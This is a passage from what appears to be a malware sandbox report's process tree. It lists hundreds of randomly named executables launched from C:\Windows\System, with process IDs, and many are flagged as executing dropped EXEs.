  C:\Windows\System\ypDhOyb.exe
  2⤵
  - Executes dropped EXE
  PID:2792
- C:\Windows\System\XVDWpNz.exe
  C:\Windows\System\XVDWpNz.exe
  2⤵
  - Executes dropped EXE
  PID:2676
- C:\Windows\System\CXCWUEh.exe
  C:\Windows\System\CXCWUEh.exe
  2⤵
  - Executes dropped EXE
  PID:1856
- C:\Windows\System\rkgSiPf.exe
  C:\Windows\System\rkgSiPf.exe
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\System\mdcNfAG.exe
  C:\Windows\System\mdcNfAG.exe
  2⤵
  - Executes dropped EXE
  PID:920
- C:\Windows\System\DINZnfU.exe
  C:\Windows\System\DINZnfU.exe
  2⤵
  - Executes dropped EXE
  PID:3044
- C:\Windows\System\jAZMDIP.exe
  C:\Windows\System\jAZMDIP.exe
  2⤵
  - Executes dropped EXE
  PID:964
- C:\Windows\System\IRnpxUA.exe
  C:\Windows\System\IRnpxUA.exe
  2⤵
  - Executes dropped EXE
  PID:4520
- C:\Windows\System\VfnIgDu.exe
  C:\Windows\System\VfnIgDu.exe
  2⤵
  - Executes dropped EXE
  PID:3880
- C:\Windows\System\jSroclI.exe
  C:\Windows\System\jSroclI.exe
  2⤵
  - Executes dropped EXE
  PID:4016
- C:\Windows\System\agiyeUN.exe
  C:\Windows\System\agiyeUN.exe
  2⤵
  - Executes dropped EXE
  PID:3588
- C:\Windows\System\hRIETOT.exe
  C:\Windows\System\hRIETOT.exe
  2⤵
  - Executes dropped EXE
  PID:1052
- C:\Windows\System\udsBdom.exe
  C:\Windows\System\udsBdom.exe
  2⤵
  - Executes dropped EXE
  PID:3676
- C:\Windows\System\INKbVZG.exe
  C:\Windows\System\INKbVZG.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\oFBudFO.exe
  C:\Windows\System\oFBudFO.exe
  2⤵
  - Executes dropped EXE
  PID:1324
- C:\Windows\System\tEEBrLP.exe
  C:\Windows\System\tEEBrLP.exe
  2⤵
  - Executes dropped EXE
  PID:2992
- C:\Windows\System\DznYzqg.exe
  C:\Windows\System\DznYzqg.exe
  2⤵
  PID:3012
- C:\Windows\System\ZbqCCoZ.exe
  C:\Windows\System\ZbqCCoZ.exe
  2⤵
  PID:1560
- C:\Windows\System\xmHEVen.exe
  C:\Windows\System\xmHEVen.exe
  2⤵
  PID:4220
- C:\Windows\System\CmLQWnQ.exe
  C:\Windows\System\CmLQWnQ.exe
  2⤵
  PID:4736
- C:\Windows\System\aTyvNbO.exe
  C:\Windows\System\aTyvNbO.exe
  2⤵
  PID:2568
- C:\Windows\System\qCcgRZl.exe
  C:\Windows\System\qCcgRZl.exe
  2⤵
  PID:4112
- C:\Windows\System\caQfHpC.exe
  C:\Windows\System\caQfHpC.exe
  2⤵
  PID:2660
- C:\Windows\System\rpKfgET.exe
  C:\Windows\System\rpKfgET.exe
  2⤵
  PID:1172
- C:\Windows\System\ciGlVni.exe
  C:\Windows\System\ciGlVni.exe
  2⤵
  - Executes dropped EXE
  PID:60
- C:\Windows\System\KjxEdda.exe
  C:\Windows\System\KjxEdda.exe
  2⤵
  PID:2220
- C:\Windows\System\oMeaSfi.exe
  C:\Windows\System\oMeaSfi.exe
  2⤵
  PID:2256
- C:\Windows\System\ItxWWSB.exe
  C:\Windows\System\ItxWWSB.exe
  2⤵
  PID:3768
- C:\Windows\System\eDSNwfC.exe
  C:\Windows\System\eDSNwfC.exe
  2⤵
  PID:2204
- C:\Windows\System\vauCiwL.exe
  C:\Windows\System\vauCiwL.exe
  2⤵
  PID:1652
- C:\Windows\System\BTtmnzm.exe
  C:\Windows\System\BTtmnzm.exe
  2⤵
  PID:5136
- C:\Windows\System\qZpznfl.exe
  C:\Windows\System\qZpznfl.exe
  2⤵
  PID:5208
- C:\Windows\System\IBdZVLy.exe
  C:\Windows\System\IBdZVLy.exe
  2⤵
  PID:5272
- C:\Windows\System\gpEQdQG.exe
  C:\Windows\System\gpEQdQG.exe
  2⤵
  PID:5412
- C:\Windows\System\LQfOBEk.exe
  C:\Windows\System\LQfOBEk.exe
  2⤵
  PID:5500
- C:\Windows\System\DuHbRVo.exe
  C:\Windows\System\DuHbRVo.exe
  2⤵
  PID:5536
- C:\Windows\System\ZkOfrvu.exe
  C:\Windows\System\ZkOfrvu.exe
  2⤵
  PID:5576
- C:\Windows\System\pAhpeqw.exe
  C:\Windows\System\pAhpeqw.exe
  2⤵
  PID:5556
- C:\Windows\System\xtdYthP.exe
  C:\Windows\System\xtdYthP.exe
  2⤵
  PID:5688
- C:\Windows\System\UaBWNYk.exe
  C:\Windows\System\UaBWNYk.exe
  2⤵
  PID:5856
- C:\Windows\System\RqeLNNq.exe
  C:\Windows\System\RqeLNNq.exe
  2⤵
  PID:5912
- C:\Windows\System\yPVQYmE.exe
  C:\Windows\System\yPVQYmE.exe
  2⤵
  PID:6008
- C:\Windows\System\dZnGbGa.exe
  C:\Windows\System\dZnGbGa.exe
  2⤵
  PID:6052
- C:\Windows\System\COKKxbM.exe
  C:\Windows\System\COKKxbM.exe
  2⤵
  PID:5976
- C:\Windows\System\cTBqsaY.exe
  C:\Windows\System\cTBqsaY.exe
  2⤵
  PID:5948
- C:\Windows\System\iWgBhdW.exe
  C:\Windows\System\iWgBhdW.exe
  2⤵
  PID:5928
- C:\Windows\System\aLsJVYJ.exe
  C:\Windows\System\aLsJVYJ.exe
  2⤵
  PID:5896
- C:\Windows\System\icnCJaR.exe
  C:\Windows\System\icnCJaR.exe
  2⤵
  PID:5836
- C:\Windows\System\neTGCwL.exe
  C:\Windows\System\neTGCwL.exe
  2⤵
  PID:5812
- C:\Windows\System\QeDJUhv.exe
  C:\Windows\System\QeDJUhv.exe
  2⤵
  PID:5788
- C:\Windows\System\ZnbvJkG.exe
  C:\Windows\System\ZnbvJkG.exe
  2⤵
  PID:5772
- C:\Windows\System\pKFzhzK.exe
  C:\Windows\System\pKFzhzK.exe
  2⤵
  PID:5740
- C:\Windows\System\KGwMtBF.exe
  C:\Windows\System\KGwMtBF.exe
  2⤵
  PID:5724
- C:\Windows\System\wnMQsek.exe
  C:\Windows\System\wnMQsek.exe
  2⤵
  PID:5708
- C:\Windows\System\fSLccvL.exe
  C:\Windows\System\fSLccvL.exe
  2⤵
  PID:5672
- C:\Windows\System\jNNBbOX.exe
  C:\Windows\System\jNNBbOX.exe
  2⤵
  PID:5480
- C:\Windows\System\yVSBbgj.exe
  C:\Windows\System\yVSBbgj.exe
  2⤵
  PID:5460
- C:\Windows\System\nWarpQx.exe
  C:\Windows\System\nWarpQx.exe
  2⤵
  PID:5396
- C:\Windows\System\ErMXdrn.exe
  C:\Windows\System\ErMXdrn.exe
  2⤵
  PID:5364
- C:\Windows\System\NetBvXZ.exe
  C:\Windows\System\NetBvXZ.exe
  2⤵
  PID:5184
- C:\Windows\System\SXrdIpG.exe
  C:\Windows\System\SXrdIpG.exe
  2⤵
  PID:5164
- C:\Windows\System\ECchrJp.exe
  C:\Windows\System\ECchrJp.exe
  2⤵
  PID:4696
- C:\Windows\System\hIgECNr.exe
  C:\Windows\System\hIgECNr.exe
  2⤵
  PID:1424
- C:\Windows\System\EHvDnqm.exe
  C:\Windows\System\EHvDnqm.exe
  2⤵
  PID:1964
- C:\Windows\System\CuViseK.exe
  C:\Windows\System\CuViseK.exe
  2⤵
  PID:2320
- C:\Windows\System\OYLeTQa.exe
  C:\Windows\System\OYLeTQa.exe
  2⤵
  PID:1484
- C:\Windows\System\wkBDmRL.exe
  C:\Windows\System\wkBDmRL.exe
  2⤵
  PID:4076
- C:\Windows\System\qJXRdaG.exe
  C:\Windows\System\qJXRdaG.exe
  2⤵
  PID:2864
- C:\Windows\System\ZqpKCfD.exe
  C:\Windows\System\ZqpKCfD.exe
  2⤵
  PID:2588
- C:\Windows\System\gEylbQD.exe
  C:\Windows\System\gEylbQD.exe
  2⤵
  - Executes dropped EXE
  PID:948
- C:\Windows\System\RwkYGkq.exe
  C:\Windows\System\RwkYGkq.exe
  2⤵
  - Executes dropped EXE
  PID:3304
- C:\Windows\System\PlUSWcw.exe
  C:\Windows\System\PlUSWcw.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\VORIglG.exe
  C:\Windows\System\VORIglG.exe
  2⤵
  - Executes dropped EXE
  PID:2380
- C:\Windows\System\DEYTXnm.exe
  C:\Windows\System\DEYTXnm.exe
  2⤵
  - Executes dropped EXE
  PID:2940
- C:\Windows\System\wzNqPhL.exe
  C:\Windows\System\wzNqPhL.exe
  2⤵
  - Executes dropped EXE
  PID:3092
- C:\Windows\System\nIOJZGS.exe
  C:\Windows\System\nIOJZGS.exe
  2⤵
  - Executes dropped EXE
  PID:4752
- C:\Windows\System\sqTzEXQ.exe
  C:\Windows\System\sqTzEXQ.exe
  2⤵
  - Executes dropped EXE
  PID:4560
- C:\Windows\System\QCMfAYn.exe
  C:\Windows\System\QCMfAYn.exe
  2⤵
  - Executes dropped EXE
  PID:3352
- C:\Windows\System\TfkzbgY.exe
  C:\Windows\System\TfkzbgY.exe
  2⤵
  - Executes dropped EXE
  PID:4832
- C:\Windows\System\YZcXfAH.exe
  C:\Windows\System\YZcXfAH.exe
  2⤵
  - Executes dropped EXE
  PID:1452
- C:\Windows\System\fuQSaYA.exe
  C:\Windows\System\fuQSaYA.exe
  2⤵
  - Executes dropped EXE
  PID:3916
- C:\Windows\System\jDZbRZy.exe
  C:\Windows\System\jDZbRZy.exe
  2⤵
  - Executes dropped EXE
  PID:3176
- C:\Windows\System\oSziZME.exe
  C:\Windows\System\oSziZME.exe
  2⤵
  - Executes dropped EXE
  PID:5008
- C:\Windows\System\ErctvaU.exe
  C:\Windows\System\ErctvaU.exe
  2⤵
  - Executes dropped EXE
  PID:1340
- C:\Windows\System\SSCPwIO.exe
  C:\Windows\System\SSCPwIO.exe
  2⤵
  PID:6140
- C:\Windows\System\oIUDzxD.exe
  C:\Windows\System\oIUDzxD.exe
  2⤵
  PID:5156
- C:\Windows\System\UVtLupt.exe
  C:\Windows\System\UVtLupt.exe
  2⤵
  PID:5228
- C:\Windows\System\GtHiSif.exe
  C:\Windows\System\GtHiSif.exe
  2⤵
  PID:5312
- C:\Windows\System\NwPQuLm.exe
  C:\Windows\System\NwPQuLm.exe
  2⤵
  PID:5568
- C:\Windows\System\KCYRQsA.exe
  C:\Windows\System\KCYRQsA.exe
  2⤵
  PID:5848
- C:\Windows\System\JUzVyvP.exe
  C:\Windows\System\JUzVyvP.exe
  2⤵
  PID:5920
- C:\Windows\System\EYZhmFb.exe
  C:\Windows\System\EYZhmFb.exe
  2⤵
  PID:5388
- C:\Windows\System\ryXrPRG.exe
  C:\Windows\System\ryXrPRG.exe
  2⤵
  PID:6232
- C:\Windows\System\HZTdUuB.exe
  C:\Windows\System\HZTdUuB.exe
  2⤵
  PID:6432
- C:\Windows\System\pEntuPn.exe
  C:\Windows\System\pEntuPn.exe
  2⤵
  PID:6684
- C:\Windows\System\PNXgxTS.exe
  C:\Windows\System\PNXgxTS.exe
  2⤵
  PID:6768
- C:\Windows\System\bHhltVJ.exe
  C:\Windows\System\bHhltVJ.exe
  2⤵
  PID:6748
- C:\Windows\System\XddEFdC.exe
  C:\Windows\System\XddEFdC.exe
  2⤵
  PID:7032
- C:\Windows\System\dDxJdLy.exe
  C:\Windows\System\dDxJdLy.exe
  2⤵
  PID:7084
- C:\Windows\System\ZZNBJyA.exe
  C:\Windows\System\ZZNBJyA.exe
  2⤵
  PID:6080
- C:\Windows\System\yKhFawb.exe
  C:\Windows\System\yKhFawb.exe
  2⤵
  PID:5764
- C:\Windows\System\UnkULjR.exe
  C:\Windows\System\UnkULjR.exe
  2⤵
  PID:5892
- C:\Windows\System\cXDmxss.exe
  C:\Windows\System\cXDmxss.exe
  2⤵
  PID:6240
- C:\Windows\System\iMonMeb.exe
  C:\Windows\System\iMonMeb.exe
  2⤵
  PID:4800
- C:\Windows\System\gSSZEWQ.exe
  C:\Windows\System\gSSZEWQ.exe
  2⤵
  PID:6100
- C:\Windows\System\bGEENqm.exe
  C:\Windows\System\bGEENqm.exe
  2⤵
  PID:4296
- C:\Windows\System\yixvkYI.exe
  C:\Windows\System\yixvkYI.exe
  2⤵
  PID:7160
- C:\Windows\System\xxDBmkH.exe
  C:\Windows\System\xxDBmkH.exe
  2⤵
  PID:7144
- C:\Windows\System\LfCynTO.exe
  C:\Windows\System\LfCynTO.exe
  2⤵
  PID:7068
- C:\Windows\System\juwfQzL.exe
  C:\Windows\System\juwfQzL.exe
  2⤵
  PID:7012
- C:\Windows\System\XutOTqJ.exe
  C:\Windows\System\XutOTqJ.exe
  2⤵
  PID:6988
- C:\Windows\System\cpnIMTt.exe
  C:\Windows\System\cpnIMTt.exe
  2⤵
  PID:6924
- C:\Windows\System\OdtsLkN.exe
  C:\Windows\System\OdtsLkN.exe
  2⤵
  PID:6724
- C:\Windows\System\icmOebi.exe
  C:\Windows\System\icmOebi.exe
  2⤵
  PID:6664
- C:\Windows\System\FVzmjUW.exe
  C:\Windows\System\FVzmjUW.exe
  2⤵
  PID:6644
- C:\Windows\System\eCEPukh.exe
  C:\Windows\System\eCEPukh.exe
  2⤵
  PID:6624
- C:\Windows\System\zcxzATr.exe
  C:\Windows\System\zcxzATr.exe
  2⤵
  PID:6560
- C:\Windows\System\zxGZxdg.exe
  C:\Windows\System\zxGZxdg.exe
  2⤵
  PID:6700
- C:\Windows\System\kYlTPdi.exe
  C:\Windows\System\kYlTPdi.exe
  2⤵
  PID:6908
- C:\Windows\System\IaZfQgc.exe
  C:\Windows\System\IaZfQgc.exe
  2⤵
  PID:5804
- C:\Windows\System\LUsubbK.exe
  C:\Windows\System\LUsubbK.exe
  2⤵
  PID:5572
- C:\Windows\System\Islkuef.exe
  C:\Windows\System\Islkuef.exe
  2⤵
  PID:6604
- C:\Windows\System\UgGCFXZ.exe
  C:\Windows\System\UgGCFXZ.exe
  2⤵
  PID:5936
- C:\Windows\System\ReHWggJ.exe
  C:\Windows\System\ReHWggJ.exe
  2⤵
  PID:5356
- C:\Windows\System\HFnaEnQ.exe
  C:\Windows\System\HFnaEnQ.exe
  2⤵
  PID:6920
- C:\Windows\System\RDjmgma.exe
  C:\Windows\System\RDjmgma.exe
  2⤵
  PID:7132
- C:\Windows\System\YzPoUiI.exe
  C:\Windows\System\YzPoUiI.exe
  2⤵
  PID:7100
- C:\Windows\System\TPIDjcF.exe
  C:\Windows\System\TPIDjcF.exe
  2⤵
  PID:7000
- C:\Windows\System\kkjPKeR.exe
  C:\Windows\System\kkjPKeR.exe
  2⤵
  PID:6972
- C:\Windows\System\DRoSwUk.exe
  C:\Windows\System\DRoSwUk.exe
  2⤵
  PID:6860
- C:\Windows\System\GjOFCzC.exe
  C:\Windows\System\GjOFCzC.exe
  2⤵
  PID:6812
- C:\Windows\System\DxVgJKD.exe
  C:\Windows\System\DxVgJKD.exe
  2⤵
  PID:6564
- C:\Windows\System\ZgmeSvd.exe
  C:\Windows\System\ZgmeSvd.exe
  2⤵
  PID:6732
- C:\Windows\System\VwTflts.exe
  C:\Windows\System\VwTflts.exe
  2⤵
  PID:6380
- C:\Windows\System\knEeIeQ.exe
  C:\Windows\System\knEeIeQ.exe
  2⤵
  PID:6336
- C:\Windows\System\OUyIjmA.exe
  C:\Windows\System\OUyIjmA.exe
  2⤵
  PID:6288
- C:\Windows\System\cdoeDjV.exe
  C:\Windows\System\cdoeDjV.exe
  2⤵
  PID:6592
- C:\Windows\System\TzZDEeU.exe
  C:\Windows\System\TzZDEeU.exe
  2⤵
  PID:6572
- C:\Windows\System\EwzOeZC.exe
  C:\Windows\System\EwzOeZC.exe
  2⤵
  PID:6552
- C:\Windows\System\rumMhvn.exe
  C:\Windows\System\rumMhvn.exe
  2⤵
  PID:6532
- C:\Windows\System\OpYyVPC.exe
  C:\Windows\System\OpYyVPC.exe
  2⤵
  PID:6456
- C:\Windows\System\HRQyCpa.exe
  C:\Windows\System\HRQyCpa.exe
  2⤵
  PID:6412
- C:\Windows\System\wVSxxDp.exe
  C:\Windows\System\wVSxxDp.exe
  2⤵
  PID:6388
- C:\Windows\System\rwhYcWi.exe
  C:\Windows\System\rwhYcWi.exe
  2⤵
  PID:6364
- C:\Windows\System\hlmhEhy.exe
  C:\Windows\System\hlmhEhy.exe
  2⤵
  PID:6340
- C:\Windows\System\ksJxaDE.exe
  C:\Windows\System\ksJxaDE.exe
  2⤵
  PID:6320
- C:\Windows\System\gbFvpFS.exe
  C:\Windows\System\gbFvpFS.exe
  2⤵
  PID:6296
- C:\Windows\System\fUtMaDQ.exe
  C:\Windows\System\fUtMaDQ.exe
  2⤵
  PID:6268
- C:\Windows\System\STzmZZi.exe
  C:\Windows\System\STzmZZi.exe
  2⤵
  PID:6248
- C:\Windows\System\vfnjuCC.exe
  C:\Windows\System\vfnjuCC.exe
  2⤵
  PID:6208
- C:\Windows\System\lLVjBGJ.exe
  C:\Windows\System\lLVjBGJ.exe
  2⤵
  PID:6188
- C:\Windows\System\qeiqbLU.exe
  C:\Windows\System\qeiqbLU.exe
  2⤵
  PID:6164
- C:\Windows\System\nFeRDsP.exe
  C:\Windows\System\nFeRDsP.exe
  2⤵
  PID:5864
- C:\Windows\System\GtXNkFO.exe
  C:\Windows\System\GtXNkFO.exe
  2⤵
  PID:5476
- C:\Windows\System\MxwgDbI.exe
  C:\Windows\System\MxwgDbI.exe
  2⤵
  PID:5324
- C:\Windows\System\BmJTMcs.exe
  C:\Windows\System\BmJTMcs.exe
  2⤵
  PID:5196
- C:\Windows\System\mZumqZR.exe
  C:\Windows\System\mZumqZR.exe
  2⤵
  PID:5128
- C:\Windows\System\ibvNfAM.exe
  C:\Windows\System\ibvNfAM.exe
  2⤵
  PID:3792
- C:\Windows\System\ynYqqyY.exe
  C:\Windows\System\ynYqqyY.exe
  2⤵
  PID:6104
- C:\Windows\System\riocaNE.exe
  C:\Windows\System\riocaNE.exe
  2⤵
  PID:6084
- C:\Windows\System\TUcYGHe.exe
  C:\Windows\System\TUcYGHe.exe
  2⤵
  PID:5984
- C:\Windows\System\KJkNrWu.exe
  C:\Windows\System\KJkNrWu.exe
  2⤵
  PID:5944
- C:\Windows\System\JigqxKK.exe
  C:\Windows\System\JigqxKK.exe
  2⤵
  PID:5828
- C:\Windows\System\LlwSElX.exe
  C:\Windows\System\LlwSElX.exe
  2⤵
  PID:5760
- C:\Windows\System\iScmgGW.exe
  C:\Windows\System\iScmgGW.exe
  2⤵
  PID:5756
- C:\Windows\System\FKBJxXI.exe
  C:\Windows\System\FKBJxXI.exe
  2⤵
  PID:5532
- C:\Windows\System\TqdGYso.exe
  C:\Windows\System\TqdGYso.exe
  2⤵
  PID:5472
- C:\Windows\System\PlZmOLp.exe
  C:\Windows\System\PlZmOLp.exe
  2⤵
  PID:5392
- C:\Windows\System\WwNtnEd.exe
  C:\Windows\System\WwNtnEd.exe
  2⤵
  PID:5376
- C:\Windows\System\VZMkACE.exe
  C:\Windows\System\VZMkACE.exe
  2⤵
  PID:5252
- C:\Windows\System\nSkkKuu.exe
  C:\Windows\System\nSkkKuu.exe
  2⤵
  PID:5172
- C:\Windows\System\IHKobED.exe
  C:\Windows\System\IHKobED.exe
  2⤵
  PID:3284
- C:\Windows\System\ofdisVm.exe
  C:\Windows\System\ofdisVm.exe
  2⤵
  PID:1044
- C:\Windows\System\nTgBsfL.exe
  C:\Windows\System\nTgBsfL.exe
  2⤵
  PID:6112
- C:\Windows\System\kmIsnbe.exe
  C:\Windows\System\kmIsnbe.exe
  2⤵
  - Executes dropped EXE
  PID:2120
- C:\Windows\System\dCpOsAQ.exe
  C:\Windows\System\dCpOsAQ.exe
  2⤵
  - Executes dropped EXE
  PID:4640
- C:\Windows\System\JcVwLNU.exe
  C:\Windows\System\JcVwLNU.exe
  2⤵
  PID:5244
- C:\Windows\System\pCMtWKO.exe
  C:\Windows\System\pCMtWKO.exe
  2⤵
  PID:7220
- C:\Windows\System\qveDyKZ.exe
  C:\Windows\System\qveDyKZ.exe
  2⤵
  PID:7268
- C:\Windows\System\eONlpfh.exe
  C:\Windows\System\eONlpfh.exe
  2⤵
  PID:7328
- C:\Windows\System\qUYuQpc.exe
  C:\Windows\System\qUYuQpc.exe
  2⤵
  PID:7308
- C:\Windows\System\eevPAwW.exe
  C:\Windows\System\eevPAwW.exe
  2⤵
  PID:7448
- C:\Windows\System\LvdUbVz.exe
  C:\Windows\System\LvdUbVz.exe
  2⤵
  PID:7540
- C:\Windows\System\DhkJVoi.exe
  C:\Windows\System\DhkJVoi.exe
  2⤵
  PID:7564
- C:\Windows\System\PRNupCN.exe
  C:\Windows\System\PRNupCN.exe
  2⤵
  PID:7652
- C:\Windows\System\djeyaQX.exe
  C:\Windows\System\djeyaQX.exe
  2⤵
  PID:7676
- C:\Windows\System\ComUYqb.exe
  C:\Windows\System\ComUYqb.exe
  2⤵
  PID:7628
- C:\Windows\System\Arbkuey.exe
  C:\Windows\System\Arbkuey.exe
  2⤵
  PID:7608
- C:\Windows\System\biXvwJo.exe
  C:\Windows\System\biXvwJo.exe
  2⤵
  PID:7584
- C:\Windows\System\sWrUcpH.exe
  C:\Windows\System\sWrUcpH.exe
  2⤵
  PID:7520
- C:\Windows\System\igsjQqV.exe
  C:\Windows\System\igsjQqV.exe
  2⤵
  PID:7488
- C:\Windows\System\ABLvnRq.exe
  C:\Windows\System\ABLvnRq.exe
  2⤵
  PID:7424
- C:\Windows\System\GvfuvMT.exe
  C:\Windows\System\GvfuvMT.exe
  2⤵
  PID:7396
- C:\Windows\System\SXoAQML.exe
  C:\Windows\System\SXoAQML.exe
  2⤵
  PID:7284
- C:\Windows\System\NcgUAAD.exe
  C:\Windows\System\NcgUAAD.exe
  2⤵
  PID:7244
- C:\Windows\System\lhQyKWC.exe
  C:\Windows\System\lhQyKWC.exe
  2⤵
  PID:7200
- C:\Windows\System\yXIMmey.exe
  C:\Windows\System\yXIMmey.exe
  2⤵
  PID:6632
- C:\Windows\System\AQJQTWa.exe
  C:\Windows\System\AQJQTWa.exe
  2⤵
  PID:5096
- C:\Windows\System\zykizgG.exe
  C:\Windows\System\zykizgG.exe
  2⤵
  PID:7824
- C:\Windows\System\pEBKYTP.exe
  C:\Windows\System\pEBKYTP.exe
  2⤵
  PID:7800
- C:\Windows\System\VIbyLCn.exe
  C:\Windows\System\VIbyLCn.exe
  2⤵
  PID:7764
- C:\Windows\System\civwdvV.exe
  C:\Windows\System\civwdvV.exe
  2⤵
  PID:6352
- C:\Windows\System\zYrejHo.exe
  C:\Windows\System\zYrejHo.exe
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Windows\System\wxLHmZQ.exe
  C:\Windows\System\wxLHmZQ.exe
  2⤵
  - Executes dropped EXE
  PID:4116
- C:\Windows\System\pyRLrQE.exe
  C:\Windows\System\pyRLrQE.exe
  2⤵
  - Executes dropped EXE
  PID:3036
- C:\Windows\System\BPsISZJ.exe
  C:\Windows\System\BPsISZJ.exe
  2⤵
  - Executes dropped EXE
  PID:1772
- C:\Windows\System\TXEkufz.exe
  C:\Windows\System\TXEkufz.exe
  2⤵
  PID:7848
- C:\Windows\System\uilgwdn.exe
  C:\Windows\System\uilgwdn.exe
  2⤵
  PID:7960
- C:\Windows\System\bCUOZlb.exe
  C:\Windows\System\bCUOZlb.exe
  2⤵
  PID:7936
- C:\Windows\System\pUMvLFl.exe
  C:\Windows\System\pUMvLFl.exe
  2⤵
  PID:8024
- C:\Windows\System\MhwjfXF.exe
  C:\Windows\System\MhwjfXF.exe
  2⤵
  PID:8120
- C:\Windows\System\DGWcWpL.exe
  C:\Windows\System\DGWcWpL.exe
  2⤵
  PID:3064
- C:\Windows\System\yrpEDjf.exe
  C:\Windows\System\yrpEDjf.exe
  2⤵
  PID:7280
- C:\Windows\System\PEZvsNP.exe
  C:\Windows\System\PEZvsNP.exe
  2⤵
  PID:7532
- C:\Windows\System\ZCrHosF.exe
  C:\Windows\System\ZCrHosF.exe
  2⤵
  PID:7596
- C:\Windows\System\eAjrQtG.exe
  C:\Windows\System\eAjrQtG.exe
  2⤵
  PID:8096
- C:\Windows\System\OaqtfXs.exe
  C:\Windows\System\OaqtfXs.exe
  2⤵
  PID:8068
- C:\Windows\System\lxCIIZJ.exe
  C:\Windows\System\lxCIIZJ.exe
  2⤵
  PID:8012
- C:\Windows\System\qANswMm.exe
  C:\Windows\System\qANswMm.exe
  2⤵
  PID:7836
- C:\Windows\System\rMENrxj.exe
  C:\Windows\System\rMENrxj.exe
  2⤵
  PID:7928
- C:\Windows\System\hpEKDVH.exe
  C:\Windows\System\hpEKDVH.exe
  2⤵
  PID:7880
- C:\Windows\System\UuIBoND.exe
  C:\Windows\System\UuIBoND.exe
  2⤵
  PID:7932
- C:\Windows\System\CGrCLQE.exe
  C:\Windows\System\CGrCLQE.exe
  2⤵
  PID:7648
- C:\Windows\System\lqcDddg.exe
  C:\Windows\System\lqcDddg.exe
  2⤵
  PID:7640
- C:\Windows\System\JgzGGjS.exe
  C:\Windows\System\JgzGGjS.exe
  2⤵
  PID:7616
- C:\Windows\System\VXVlDFL.exe
  C:\Windows\System\VXVlDFL.exe
  2⤵
  PID:7516
- C:\Windows\System\DyiXSNM.exe
  C:\Windows\System\DyiXSNM.exe
  2⤵
  PID:7440
- C:\Windows\System\dHxQQmO.exe
  C:\Windows\System\dHxQQmO.exe
  2⤵
  PID:7460
- C:\Windows\System\bRiOhVg.exe
  C:\Windows\System\bRiOhVg.exe
  2⤵
  PID:7408
- C:\Windows\System\GSCsQsM.exe
  C:\Windows\System\GSCsQsM.exe
  2⤵
  PID:7352
- C:\Windows\System\cFQpmuR.exe
  C:\Windows\System\cFQpmuR.exe
  2⤵
  PID:7208
- C:\Windows\System\cMvXXne.exe
  C:\Windows\System\cMvXXne.exe
  2⤵
  PID:6308
- C:\Windows\System\eIbexOz.exe
  C:\Windows\System\eIbexOz.exe
  2⤵
  PID:7152
- C:\Windows\System\mYagAaK.exe
  C:\Windows\System\mYagAaK.exe
  2⤵
  PID:8180
- C:\Windows\System\koXJdeU.exe
  C:\Windows\System\koXJdeU.exe
  2⤵
  PID:8152
- C:\Windows\System\KGbYfSq.exe
  C:\Windows\System\KGbYfSq.exe
  2⤵
  PID:8104
- C:\Windows\System\IAUaUoz.exe
  C:\Windows\System\IAUaUoz.exe
  2⤵
  PID:8076
- C:\Windows\System\hfXDtmm.exe
  C:\Windows\System\hfXDtmm.exe
  2⤵
  PID:8056
- C:\Windows\System\eaEpQfD.exe
  C:\Windows\System\eaEpQfD.exe
  2⤵
  PID:7916
- C:\Windows\System\VUHvUnF.exe
  C:\Windows\System\VUHvUnF.exe
  2⤵
  PID:7888
- C:\Windows\System\sYiVxzu.exe
  C:\Windows\System\sYiVxzu.exe
  2⤵
  PID:7872
- C:\Windows\System\zqVgvfz.exe
  C:\Windows\System\zqVgvfz.exe
  2⤵
  PID:7256
- C:\Windows\System\xvyRdiq.exe
  C:\Windows\System\xvyRdiq.exe
  2⤵
  PID:7624
- C:\Windows\System\eAMSheV.exe
  C:\Windows\System\eAMSheV.exe
  2⤵
  PID:7840
- C:\Windows\System\toIKjaS.exe
  C:\Windows\System\toIKjaS.exe
  2⤵
  PID:8304
- C:\Windows\System\QLzJejH.exe
  C:\Windows\System\QLzJejH.exe
  2⤵
  PID:8276
- C:\Windows\System\TwetJcZ.exe
  C:\Windows\System\TwetJcZ.exe
  2⤵
  PID:8244
- C:\Windows\System\BZVVFCw.exe
  C:\Windows\System\BZVVFCw.exe
  2⤵
  PID:8220
- C:\Windows\System\nZxJheO.exe
  C:\Windows\System\nZxJheO.exe
  2⤵
  PID:7864
- C:\Windows\System\wDgSWnR.exe
  C:\Windows\System\wDgSWnR.exe
  2⤵
  PID:6852
- C:\Windows\System\wlfvoUR.exe
  C:\Windows\System\wlfvoUR.exe
  2⤵
  PID:7900
- C:\Windows\System\syYQfCo.exe
  C:\Windows\System\syYQfCo.exe
  2⤵
  PID:6800
- C:\Windows\System\HACmKfd.exe
  C:\Windows\System\HACmKfd.exe
  2⤵
  PID:7188
- C:\Windows\System\AvncxAU.exe
  C:\Windows\System\AvncxAU.exe
  2⤵
  PID:7184
- C:\Windows\System\yxPzSfg.exe
  C:\Windows\System\yxPzSfg.exe
  2⤵
  PID:8128
- C:\Windows\System\mqtmnkx.exe
  C:\Windows\System\mqtmnkx.exe
  2⤵
  PID:8164
- C:\Windows\System\wVKiiVe.exe
  C:\Windows\System\wVKiiVe.exe
  2⤵
  PID:8324
- C:\Windows\System\WmPEaPV.exe
  C:\Windows\System\WmPEaPV.exe
  2⤵
  PID:8380
- C:\Windows\System\hgDJClj.exe
  C:\Windows\System\hgDJClj.exe
  2⤵
  PID:8460
- C:\Windows\System\phzEvdR.exe
  C:\Windows\System\phzEvdR.exe
  2⤵
  PID:8352
- C:\Windows\System\mNXcgvD.exe
  C:\Windows\System\mNXcgvD.exe
  2⤵
  PID:8476
- C:\Windows\System\qpTAsGi.exe
  C:\Windows\System\qpTAsGi.exe
  2⤵
  PID:8676
- C:\Windows\System\WswIbKk.exe
  C:\Windows\System\WswIbKk.exe
  2⤵
  PID:8708
- C:\Windows\System\eFHTtYZ.exe
  C:\Windows\System\eFHTtYZ.exe
  2⤵
  PID:8728
- C:\Windows\System\vzzkEEc.exe
  C:\Windows\System\vzzkEEc.exe
  2⤵
  PID:8776
- C:\Windows\System\XtGVsbK.exe
  C:\Windows\System\XtGVsbK.exe
  2⤵
  PID:8756
- C:\Windows\System\pKWiJFe.exe
  C:\Windows\System\pKWiJFe.exe
  2⤵
  PID:8804
- C:\Windows\System\LvPAMKE.exe
  C:\Windows\System\LvPAMKE.exe
  2⤵
  PID:8864
